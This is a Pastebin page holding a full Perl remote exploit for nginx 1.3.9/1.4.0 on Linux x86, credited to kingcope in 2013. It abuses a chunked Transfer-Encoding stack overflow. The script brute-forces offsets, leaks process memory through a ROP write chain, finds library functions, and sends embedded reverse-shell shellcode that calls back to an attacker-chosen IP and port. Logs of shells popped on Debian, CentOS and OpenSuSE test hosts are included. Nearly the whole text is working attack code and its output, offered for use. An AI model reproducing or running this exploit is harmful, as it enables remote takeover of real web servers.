Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #nginx 1.3.9/1.4.0 x86 brute force remote exploit
- # copyright (c) 2013 kingcope
- #----------------------------
- #fix for internet exploitation, set MTU:
- #ifconfig <interface> mtu 60000 up
- #
- ###
- # !!! WARNING !!!
- # this exploit is unlikely to succeed when used against remote internet hosts.
- # the reason is that nginx uses a non-blocking read() at the remote connection,
- # this makes exploitation of targets on the internet highly unreliable.
- # (it has been tested against a testbed on the internet but I couldn't exploit
- # any other box with it. required was the above ifconfig setting on the client.
- # maybe enabling large tcp frame support on a gigabit connection is more
- # useful)
- # so use it inside intranets only (duh!), this remains a PoC for now :D
- # The exploit does not break stack cookies but makes use of a reliable method
- # to retrieve all needed offsets for Linux x86 and pop a shell.
- ###
- #TODO
- #*cleanup code
- #*implement stack cookie break and amd64 support
- #*support proxy_pass directive
- ###
- =for comment
- TARGET TESTS (Debian, Centos, OpenSuSE)
- 1. Debian 7
- perl ngxunlock.pl 192.168.27.146 80 192.168.27.146 443
- Testing if remote httpd is vulnerable % SEGV %
- YES %
- Finding align distance (estimate)
- testing 5250 align % SEGV %
- testing 5182 align % SEGV %
- Verifying align
- Finding align distance (estimate)
- testing 5250 align % SEGV %
- testing 5182 align % SEGV %
- Finding write offset, determining exact align
- testing 0x08049c50, 5184 align % SURVIVED %
- Extracting memory \
- bin search done, read 20480 bytes
- exact align found 5184
- Finding exact library addresses
- trying plt 0x08049a32, got 0x080bc1a4, function 0xb76f4a80 % FOUND exact ioctl 0x08049a30 %
- trying plt 0x08049ce2, got 0x080bc250, function 0xb773e890 % FOUND exact memset 0x08049ce0 %
- trying plt 0x08049d52, got 0x080bc26c, function 0xb76f8d40 % FOUND exact mmap64 0x08049d50 %
- Found library offsets, determining mnemonics
- trying 0x0804ed2d % SURVIVED %
- exact large pop ret 0x0804a7eb
- exact pop x3 ret 0x0804a7ee
- bin search done |
- See reverse handler for success
- nc -v -l -p 443
- listening on [any] 443 ...
- 192.168.27.146: inverse host lookup failed: Unknown host
- connect to [192.168.27.146] from (UNKNOWN) [192.168.27.146] 34778
- uname -a;id;
- Linux dakkong 3.2.0-4-686-pae #1 SMP Debian 3.2.46-1 i686 GNU/Linux
- uid=65534(nobody) gid=65534(nogroup) groups=65534(nogroup)
- cat /etc/debian_version
- 7.1
- 2. CentOS 6.4
- perl ngxunlock.pl 192.168.27.129 80 192.168.27.129 443
- Testing if remote httpd is vulnerable % SEGV %
- YES %
- Finding align distance (estimate)
- testing 5250 align % SEGV %
- testing 5194 align % SEGV %
- Verifying align
- Finding align distance (estimate)
- testing 5250 align % SEGV %
- testing 5194 align % SEGV %
- Finding write offset, determining exact align
- testing 0x08049990, 5200 align % SURVIVED %
- Extracting memory /
- bin search done, read 20480 bytes
- exact align found 5200
- Finding exact library addresses
- trying plt 0x080499f2, got 0x080b31ac, function 0x0094a6b0 % FOUND exact memset 0x080499f0 %
- trying plt 0x08049b52, got 0x080b3204, function 0x008f1fd0 % FOUND exact ioctl 0x08049b50 %
- trying plt 0x08049f12, got 0x080b32f4, function 0x008f72c0 % FOUND exact mmap64 0x08049f10 %
- Found library offsets, determining mnemonics
- trying 0x0804e9d4 % SURVIVED %
- exact large pop ret 0x0806194d
- exact pop x3 ret 0x0804a832
- bin search done /
- See reverse handler for success
- nc -v -l 443
- Connection from 192.168.27.129 port 443 [tcp/https] accepted
- uname -a;id;
- Linux localhost.localdomain 2.6.32-358.el6.i686 #1 SMP Thu Feb 21 21:50:49 UTC 2013 i686 i686 i386 GNU/Linux
- uid=99(nobody) gid=99(nobody) groups=99(nobody) context=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
- cat /etc/redhat*
- CentOS release 6.4 (Final)
- 3. OpenSuSE 12.1
- perl ngxunlock.pl 192.168.27.135 80 192.168.27.135 443
- Testing if remote httpd is vulnerable % SEGV %
- YES %
- Finding align distance (estimate)
- testing 5250 align % SEGV %
- testing 5182 align % SEGV %
- Verifying align
- Finding align distance (estimate)
- testing 5250 align % SEGV %
- testing 5182 align % SEGV %
- Finding write offset, determining exact align
- testing 0x08049a18, 5184 align % SURVIVED %
- Extracting memory \
- bin search done, read 20480 bytes
- exact align found 5184
- Finding exact library addresses
- trying plt 0x08049a6a, got 0x080be08c, function 0xb75f74f0 % FOUND exact memset 0x08049a68 %
- trying plt 0x08049b8a, got 0x080be0d4, function 0xb764b160 % FOUND exact ioctl 0x08049b88 %
- trying plt 0x08049eea, got 0x080be1ac, function 0xb76501e0 % FOUND exact mmap64 0x08049ee8 %
- Found library offsets, determining mnemonics
- trying 0x0804ea7f % SURVIVED %
- exact large pop ret 0x0804a7fa
- exact pop x3 ret 0x0804a101
- bin search done -
- See reverse handler for success
- Connection from 192.168.27.135 port 443 [tcp/https] accepted
- uname -a;id;
- Linux linux-01xg 3.1.0-1.2-desktop #1 SMP PREEMPT Thu Nov 3 14:45:45 UTC 2011 (187dde0) i686 i686 i386 GNU/Linux
- uid=65534(nobody) gid=65533(nobody) groups=65533(nobody),65534(nogroup)
- cat /etc/SuSE-*
- openSUSE
- VERSION = 12.1
- openSUSE 12.1 (i586)
- VERSION = 12.1
- CODENAME = Asparagus
- =cut
- use IO::Socket;
- if ($#ARGV < 3) {
- print "nginx remote exploit\n";
- print "copyright (c) 2013 kingcope\n";
- print "usage: $0 <target> <target port> <reverse ip> <reverse port>\n";
- exit;
- }
- $target = $ARGV[0];
- $targetport = $ARGV[1];
- $cbip = $ARGV[2];
- $cbport = $ARGV[3];
- #linux reverse shell by bighawk
- $lnxcbsc =
- "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x90\x90\x90\x6a\x66\x58\x6a\x01\x5b"
- ."\x31\xc9\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x68"
- ."\x7f\x7f\x7f\x7f" # IP
- ."\x66\x68" . "\xb0\xef" # PORT
- ."\x66\x6a\x02\x89\xe1\x6a\x10\x51\x50\x89\xe1\x89\xc6\x6a\x03\x5b\x6a\x66"
- ."\x58\xcd\x80\x87\xf3\x6a\x02\x59\xb0\x3f\xcd\x80\x49\x79\xf9\xb0\x0b\x31\xd2"
- ."\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80";
- ($a1, $a2, $a3, $a4) = split(//, gethostbyname("$cbip"));
- substr($lnxcbsc, 31, 4, $a1 . $a2 . $a3 . $a4);
- ($p1, $p2) = split(//, reverse(pack("s", $cbport)));
- $p1 = chr(ord($p1));
- $p2 = chr(ord($p2));
- substr($lnxcbsc, 37, 2, $p1 . $p2);
- $|=1;
- $uri="";
- ###test target vulnerable
- #XXX
- #$k = 0x80498d0;
- #$align2 = 5200;
- #$alignplus=0;
- #goto debug;
- print "Testing if remote httpd is vulnerable ";
- $uritested = 0;
- test:
- goto l;
- connecterr:
- if ($j==0) {
- print "\nDestination host unreachable\n";
- exit;
- }
- goto again;
- l:
- for ($j=0;$j<15;$j++) {
- again:
- $sock = IO::Socket::INET->new(PeerAddr => $target,
- PeerPort => $targetport,
- Proto => 'tcp') || {goto connecterr};
- setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
- $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
- ."Connection: close\r\n"
- ."Transfer-Encoding:chunked\r\n\r\n";
- $req .= "0" x (1024-length($req)-16) . "8000000000003770";
- $stack = pack("V", 0xc0debabe);
- twinkle();
- print $sock $req;
- send($sock, "A" x (5555-1024) . $stack, MSG_OOB);
- $l = read($sock, $buffer, 0x10);
- close($sock);
- twinkle();
- if ($buffer =~ /HTTP\/1.1/) {
- next;
- }
- if ($l <= 0) {
- print "% SEGV %\n";
- print "YES %\n";
- goto yes;
- }
- }
- if ($uritested == 0) {
- $uri = "50x.html";
- $uritested=1;
- goto test;
- }
- print "\n\\\\ NO %\n";
- print "\\\\ Try to increase client MTU with ifconfig <interface> mtu 60000 up\n\n\\\\ Debug output\n";
- $sock = IO::Socket::INET->new(PeerAddr => $target,
- PeerPort => $targetport,
- Proto => 'tcp') || {goto connecterr};
- setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
- $req = "GET / HTTP/1.1\r\nHost: $target\r\n"
- ."Connection: keep-alive\r\n"
- ."Transfer-Encoding:chunked\r\n\r\n";
- $req .= "0" x (1024-length($req)-16) . "8000000000003770";
- $stack = pack("V", 0xc0debabe);
- print $sock $req;
- send($sock, "A" x (5555-1024) . $stack, MSG_OOB);
- $line = 0;
- while(<$sock>) {
- print;
- if ($line > 30) {
- last;
- }
- }
- exit;
- ###find align
- $verifyalign = 0;
- yes:
- print "Finding align distance (estimate)\n";
- for ($align=4050;$align<6000;$align+=100) {
- for ($j=0;$j<15;$j++) {
- printf("testing %d align ",$align);
- again0_1:
- # $sock = IO::Socket::INET->new(PeerAddr => $target,
- # PeerPort => $targetport,
- # Proto => 'tcp') || {goto again0_1};
- # setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
- # $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
- # ."Connection: close\r\n\r\n";
- # print $sock $req;
- # close($sock);
- $sock = IO::Socket::INET->new(PeerAddr => $target,
- PeerPort => $targetport,
- Proto => 'tcp') || {goto again0_1};
- setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
- $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
- ."Connection: keep-alive\r\n"
- ."Transfer-Encoding:chunked\r\n\r\n";
- $req .= "0" x (1024-length($req)-16) . "8000000000003770";
- $stack = pack("V", 0xc0debabe);
- print $sock $req;
- send($sock, "A" x ($align-1024) . $stack, MSG_OOB);
- $l = read($sock, $buffer, 0x10);
- twinkle();
- close($sock);
- if ($l <= 0) {
- if ($align == 4050) {
- goto out;
- }
- print " % SEGV %\n";
- $alignstart = $align-100;
- goto incalign;
- }
- print "\r\r\r\r";
- if ($buffer =~ /HTTP\/1.1/) {
- next;
- }
- close($sock);
- }
- }
- out:
- print "\n\\\\ Align not found\n";
- exit;
- incalign:
- for ($align=$alignstart;$align<6000;$align++) {
- for ($j=0;$j<7;$j++) {
- printf("testing %d align ",$align);
- again0_2:
- # $sock = IO::Socket::INET->new(PeerAddr => $target,
- # PeerPort => $targetport,
- # Proto => 'tcp') || {goto again0_2};
- # setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
- # $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
- # ."Connection: close\r\n\r\n";
- # print $sock $req;
- # close($sock);
- $sock = IO::Socket::INET->new(PeerAddr => $target,
- PeerPort => $targetport,
- Proto => 'tcp') || {goto again0_2};
- setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
- $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
- ."Connection: keep-alive\r\n"
- ."Transfer-Encoding:chunked\r\n\r\n";
- $req .= "0" x (1024-length($req)-16) . "8000000000003770";
- $stack = pack("V", 0xc0debabe);
- print $sock $req;
- send($sock, "A" x ($align-1024) . $stack, MSG_OOB);
- $l = read($sock, $buffer, 0x10);
- twinkle();
- close($sock);
- if ($l <= 0) {
- print " % SEGV %\n";
- if ($verifyalign == 0) {
- print "Verifying align\n";
- $verifyalign = $align;
- goto yes;
- }
- if (($align > $verifyalign + 4) || ($align < $verifyalign - 4)) {
- print "\\\\ Align and verfied align do not match\n";
- exit;
- }
- if ($verifyalign < $align) {
- $align = $verifyalign;
- }
- goto begin;
- }
- print "\r\r\r\r";
- if ($buffer =~ /HTTP\/1.1/) {
- next;
- }
- close($sock);
- }
- }
- print "\n\\\\ could not find align value. bailing out";
- exit;
- ###find write offset
- begin:
- print "Finding write offset, determining exact align\n";
- $align2 = $align;
- $ok = 0;
- #for ($k=0x8049d30;$k<=0x0804FFFF;$k+=4) {
- for ($k=0x08049800;$k<=0x0804FFFF;$k+=4) {
- #for ($k=0x0804dc00;$k<=0x0804FFFF;$k+=4) {
- for ($alignplus=0;$alignplus<7;$alignplus++) {
- debug:
- for ($j=0;$j<10;$j++) {
- if (pack("V", $k) =~ /\x20/) {
- next;
- }
- $align = $align2 + $alignplus;
- printf("testing 0x%08x, %d align ",$k,$align);
- again1:
- # if ($ok==0) {
- # $sock = IO::Socket::INET->new(PeerAddr => $target,
- # PeerPort => $targetport,
- # Proto => 'tcp') || {goto again1};
- # setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
- # $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
- # ."Connection: close\r\n\r\n";
- # print $sock $req;
- # close($sock);
- # }
- $sock = IO::Socket::INET->new(PeerAddr => $target,
- PeerPort => $targetport,
- Proto => 'tcp') || {goto again1};
- setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
- $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
- ."Connection: keep-alive\r\n"
- ."Transfer-Encoding:chunked\r\n\r\n";
- $req .= "0" x (1024-length($req)-16) . "8000000000003770";
- # $k = 0x8049e30; #XXX
- $stack = pack("V", $k) # write plt assumed,eg 0x804ab6c
- . "ZZZZ" # crash dummy
- . "\x03\x00\x00\x00" # write file descriptor
- . pack("V", $k-0x1000) # write buffer
- . "\xff\xff\xf0\x00"; # write size
- #$p = <stdin>;
- print $sock $req;
- if ($ok == 0) {
- send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);
- } else {
- send($sock, "A" x ($align-1024) . $stack . "A" x 500, MSG_OOB);
- }
- $l = read($sock, $buffer, 0x5000);
- twinkle();
- close($sock);
- #0x8049c50
- if ($buffer =~ /HTTP\/1.1/) {
- if ($ok == 0) {
- print "\r\r\r\r";
- next;
- } else {
- goto again1;
- }
- }
- if ($ok == 1 && length($buffer) < 0x2000) {
- goto again1;
- }
- if (length($buffer) > 350) {
- if ($ok == 0) {
- $ok = 1;
- print " % SURVIVED %\n";
- print("Extracting memory ");
- goto again1;
- }
- print "\nbin search done, ";
- printf("read %d bytes\n", $l);
- goto hit;
- }
- print "\r\r\r\r";
- }
- }
- }
- print "\n\\\\unable to get write offset\n";
- exit;
- hit:
- printf("exact align found %d\n", $align);
- print "Finding exact library addresses\n";
- $write = $k;
- $writeless = $write-0x1000;
- ### find offsets for mmap64, memset and ioctl
- $mmap64 = "";
- $ioctl = "";
- $memset = "";
- $mmap64_prefix =
- "\x55\x53\x56\x57\x8b\x54\x24\x28"
- ."\x8b\x4c\x24\x2c\xf7\xc2\xff\x0f"
- ."\x00\x00\x75";
- $ioctl_prefix =
- "\x53\x8b\x54\x24\x10\x8b\x4c\x24"
- ."\x0c\x8b\x5c\x24\x08\xb8\x36\x00"
- ."\x00\x00";
- $memset_prefix =
- "\x53\x8b\x4c\x24\x10\x0f\xb6\x44"
- ."\x24\x0c\x88\xc4\x89\xc2\xc1\xe0"
- ."\x10\x09\xd0\x8b\x54\x24\x08\x83";
- $memset_prefix2 =
- "\xfc\x57\x8b\x54\x24\x08\x8b\x4c"
- ."\x24\x10\x0f\xb6\x44\x24\x0c\xe3"
- ."\x2c\x89\xd7\x83\xe2\x03\x74\x11";
- $memset_prefix3 =
- "\x57\x8b\x7c\x24\x08\x8b\x54\x24"
- ."\x10\x8a\x44\x24\x0c\x88\xc4\x89"
- ."\xc1\xc1\xe0\x10\x66\x89\xc8\xfc";
- $memset_prefix4 =
- "\x55\x89\xe5\x57\x56\x83\xec\x04".
- "\x8b\x75\x08\x0f\xb6\x55\x0c\x8b".
- "\x4d\x10\x89\xf7\x89\xd0\xfc\x83";
- $buffer2 = $buffer;
- $buffer3 = $buffer;
- plt_again:
- $buffer2 = $buffer3;
- for(;;) {
- $i = index($buffer2, "\xff\x25");
- if ($i >= 0) {
- if (($j = index($buffer3, substr($buffer2, $i, 50))) <= 0) {
- $buffer2 = substr($buffer2, $i+2);
- next;
- }
- $buffer2 = substr($buffer2, $i+2);
- $address = $writeless + $j;
- ### delve into library function
- printf "trying plt 0x%08x, ", ($address+2);
- again2:
- $sock = IO::Socket::INET->new(PeerAddr => $target,
- PeerPort => $targetport,
- Proto => 'tcp') || {goto again2};
- setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
- $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
- ."Connection: keep-alive\r\n"
- ."Transfer-Encoding:chunked\r\n\r\n";
- $req .= "0" x (1024-length($req)-16) . "8000000000003770";
- $stack = pack("V", $write) # write plt
- . "ZZZZ" # crash dummy
- . "\x03\x00\x00\x00" # write file descriptor
- . pack("V", $address+2) # write buffer
- . "\x00\x03\x00\x00"; # write size
- print $sock $req;
- send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);
- $l = read($sock, $buffer, 0x300);
- if ($buffer =~ /HTTP\/1.1/) {
- goto again2;
- }
- if ($l == 0x300) {
- $gotentry = unpack("V", substr($buffer,0,4));
- if ($gotentry == 0) {
- print "\r\r\r\r";
- next;
- }
- close($sock);
- } else {
- close($sock);
- goto again2;
- }
- printf "got 0x%08x, ", $gotentry;
- again3:
- $sock = IO::Socket::INET->new(PeerAddr => $target,
- PeerPort => $targetport,
- Proto => 'tcp') || {goto again3};
- setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
- $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
- ."Connection: keep-alive\r\n"
- ."Transfer-Encoding:chunked\r\n\r\n";
- $req .= "0" x (1024-length($req)-16) . "8000000000003770";
- $stack = pack("V", $write) # write plt
- . "ZZZZ" # crash dummy
- . "\x03\x00\x00\x00" # write file descriptor
- . pack("V", $gotentry) # write buffer
- . "\x00\x03\x00\x00"; # write size
- print $sock $req;
- send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);
- $l = read($sock, $buffer, 0x300);
- close($sock);
- if ($buffer =~ /HTTP\/1.1/) {
- goto again3;
- }
- if ($l == 0x300) {
- $function = unpack("V", substr($buffer,0,4));
- } else {
- goto again3;
- }
- if ($function == 0) {
- print "\r\r\r\r";
- next;
- }
- printf "function 0x%08x ", $function;
- again4:
- $sock = IO::Socket::INET->new(PeerAddr => $target,
- PeerPort => $targetport,
- Proto => 'tcp') || {goto again4};
- setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
- $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
- ."Connection: keep-alive\r\n"
- ."Transfer-Encoding:chunked\r\n\r\n";
- $req .= "0" x (1024-length($req)-16) . "8000000000003770";
- $stack = pack("V", $write) # write plt
- . "ZZZZ" # crash dummy
- . "\x03\x00\x00\x00" # write file descriptor
- . pack("V", $function) # write buffer
- . "\xff\xff\xf0\x00"; # write size
- print $sock $req;
- send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);
- #$p = <stdin>;
- $l = read($sock, $buffer, 0x500);
- close($sock);
- if ($buffer =~ /HTTP\/1.1/) {
- goto again4;
- }
- if ($l != 0x500) {
- goto again4;
- }
- ###
- if (substr($buffer, 0, length($mmap64_prefix)) eq
- $mmap64_prefix) {
- $mmap64 = $address;
- printf(" %% FOUND exact mmap64 0x%08x %%\n", $mmap64);
- }
- if ((substr($buffer, 0, length($memset_prefix)) eq
- $memset_prefix) or
- (substr($buffer, 0, length($memset_prefix2)) eq
- $memset_prefix2) or
- (substr($buffer, 0, length($memset_prefix3)) eq
- $memset_prefix3) or
- (substr($buffer, 0, length($memset_prefix4)) eq
- $memset_prefix4)) {
- $memset = $address;
- printf(" %% FOUND exact memset 0x%08x %%\n", $memset);
- }
- if (substr($buffer, 0, length($ioctl_prefix)) eq
- $ioctl_prefix) {
- $ioctl = $address;
- printf(" %% FOUND exact ioctl 0x%08x %%\n", $ioctl);
- }
- if (($mmap64 ne "") and ($memset ne "") and ($ioctl ne "")) {
- goto gotplt;
- }
- print "\r\r\r\r";
- } else {
- last;
- }
- }
- print "\nFinding exact library addresses\n";
- goto plt_again;
- gotplt:
- print "Found library offsets, determining mnemonics\n";
- ### find pop pop pop ret
- ### to set socket blocking
- for ($k=$write + 0x5000;;$k++) {
- printf("trying 0x%08x ",$k);
- again5:
- $sock = IO::Socket::INET->new(PeerAddr => $target,
- PeerPort => $targetport,
- Proto => 'tcp') || {goto again5};
- setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
- $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
- ."Connection: keep-alive\r\n"
- ."Transfer-Encoding:chunked\r\n\r\n";
- $req .= "0" x (1024-length($req)-16) . "8000000000003770";
- $stack = pack("V", $ioctl)
- . pack("V", $k) # pop pop pop ret assumed
- . "\x03\x00\x00\x00"
- . "\x21\x54\x00\x00"
- . "\x08\x80\x04\x08" # null byte
- . pack("V", $write) # write plt found
- . "ZZZZ" # crash dummy
- . "\x03\x00\x00\x00" # write file descriptor
- . pack("V", $write) # write buffer
- . "\xff\xff\x0f\x00"; # write size
- print $sock $req;
- send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);
- #$p = <stdin>;
- $l = read($sock, $buffer, 0xfffff);
- close($sock);
- twinkle();
- if ($buffer =~ /HTTP\/1.1/) {
- again5;
- }
- if ($l > 0xfff) {
- print " % SURVIVED %\n";
- close($sock);
- goto hit2;
- }
- print "\r\r\r\r";
- next;
- }
- hit2:
- ###send attack buffer
- ###find largepopret
- @matches = $buffer =~ /(\x83\xc4\x20[\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d]\xc3)/g;
- foreach $m (@matches) {
- $i = index($buffer, $m);
- twinkle();
- print "\r";
- if ($i >= 0) {
- $__largepopret = $write + $i;
- printf("exact large pop ret 0x%08x\n", $__largepopret);
- goto hit3;
- }
- }
- print "\\\\ large pop ret not found\n";
- exit;
- hit3:
- ###find poppoppopret
- @matches = $buffer =~ /([\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d][\x58\x5b\x59\x5a\x5e\x5f\x5d]\xc3)/g;
- foreach $m (@matches) {
- $i = index($buffer, $m);
- if ($i >= 0) {
- $__poppoppopret = $write + $i;
- printf("exact pop x3 ret 0x%08x\n", $__poppoppopret);
- goto attack;
- }
- }
- print "\\\\ poppoppopret not found\n";
- exit;
- attack:
- $largepopret = pack("V", $__largepopret);
- $popblock = "\x00\x00\x00\x00"
- ."\x00\x00\x00\x00"
- ."\x00\x00\x00\x00"
- ."\x00\x00\x00\x00";
- $popret = pack("V", $__poppoppopret+2);
- $poppoppopret = pack("V", $__poppoppopret);
- $pop3ret = $__poppoppopret;
- $copycode = "\xfc\x8b\xf4\xbf\x00\x01\x00\x10\xb9\x00\x02\x00\x00\xf3\xa4"
- ."\xeb\xff";
- $memsetcode = "";
- $copyaddress = 0x10000000;
- for ($i=0;$i<length($copycode);$i++) {
- $byte = substr($copycode, $i, 1);
- $memsetcode .= pack("V", $memset)
- . pack("V", $pop3ret)
- . pack("V", $copyaddress)
- . $byte . "\x00\x00\x00"
- . "\x01\x00\x00\x00";
- $copyaddress++;
- }
- for ($q=0;$q<10;$q++) {
- print "bin search done ";
- sleep(1);
- twinkle();
- print "\r"
- }
- print "\n";
- print "See reverse handler for success\n";
- again6:
- $sock = IO::Socket::INET->new(PeerAddr => $target,
- PeerPort => $targetport,
- Proto => 'tcp') || {goto again6};
- setsockopt($sock, SOL_SOCKET, SO_SNDBUF, 60000);
- $req = "HEAD /$uri HTTP/1.1\r\nHost: $target\r\n"
- ."Connection: close\r\n"
- ."Transfer-Encoding:chunked\r\n\r\n";
- $req .= "0" x (1024-length($req)-16) . "8000000000003770";
- $stack = pack("V", $mmap64)
- . $largepopret
- ."\x00\x00\x00\x10" # mmap start
- ."\x00\x10\x00\x00" # mmap size
- ."\x07\x00\x00\x00" # mmap prot
- ."\x32\x00\x00\x00" # mmap flags
- ."\xff\xff\xff\xff" # mmap fd
- ."\x00\x00\x00\x00" # mmap offset
- ."\x00\x00\x00\x00" # mmap offset
- . $popblock
- . $memsetcode
- . "\x00\x00\x00\x10" # JUMP TO 0x10000000 (rwxp addr)
- . "\x90" x 100 . $lnxcbsc;
- #$p = <stdin>;
- print $sock $req;
- send($sock, "A" x ($align-1024) . $stack . "A" x 1000, MSG_OOB);
- close($sock);
- goto again6; # XXX
- my $current = 0;
- sub twinkle {
- $cursors[0] = "|";
- $cursors[1] = "/";
- $cursors[2] = "-";
- $cursors[3] = "\\";
- print "$cursors[$current++]\b";
- if ($current > 3) {
- $current = 0;
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement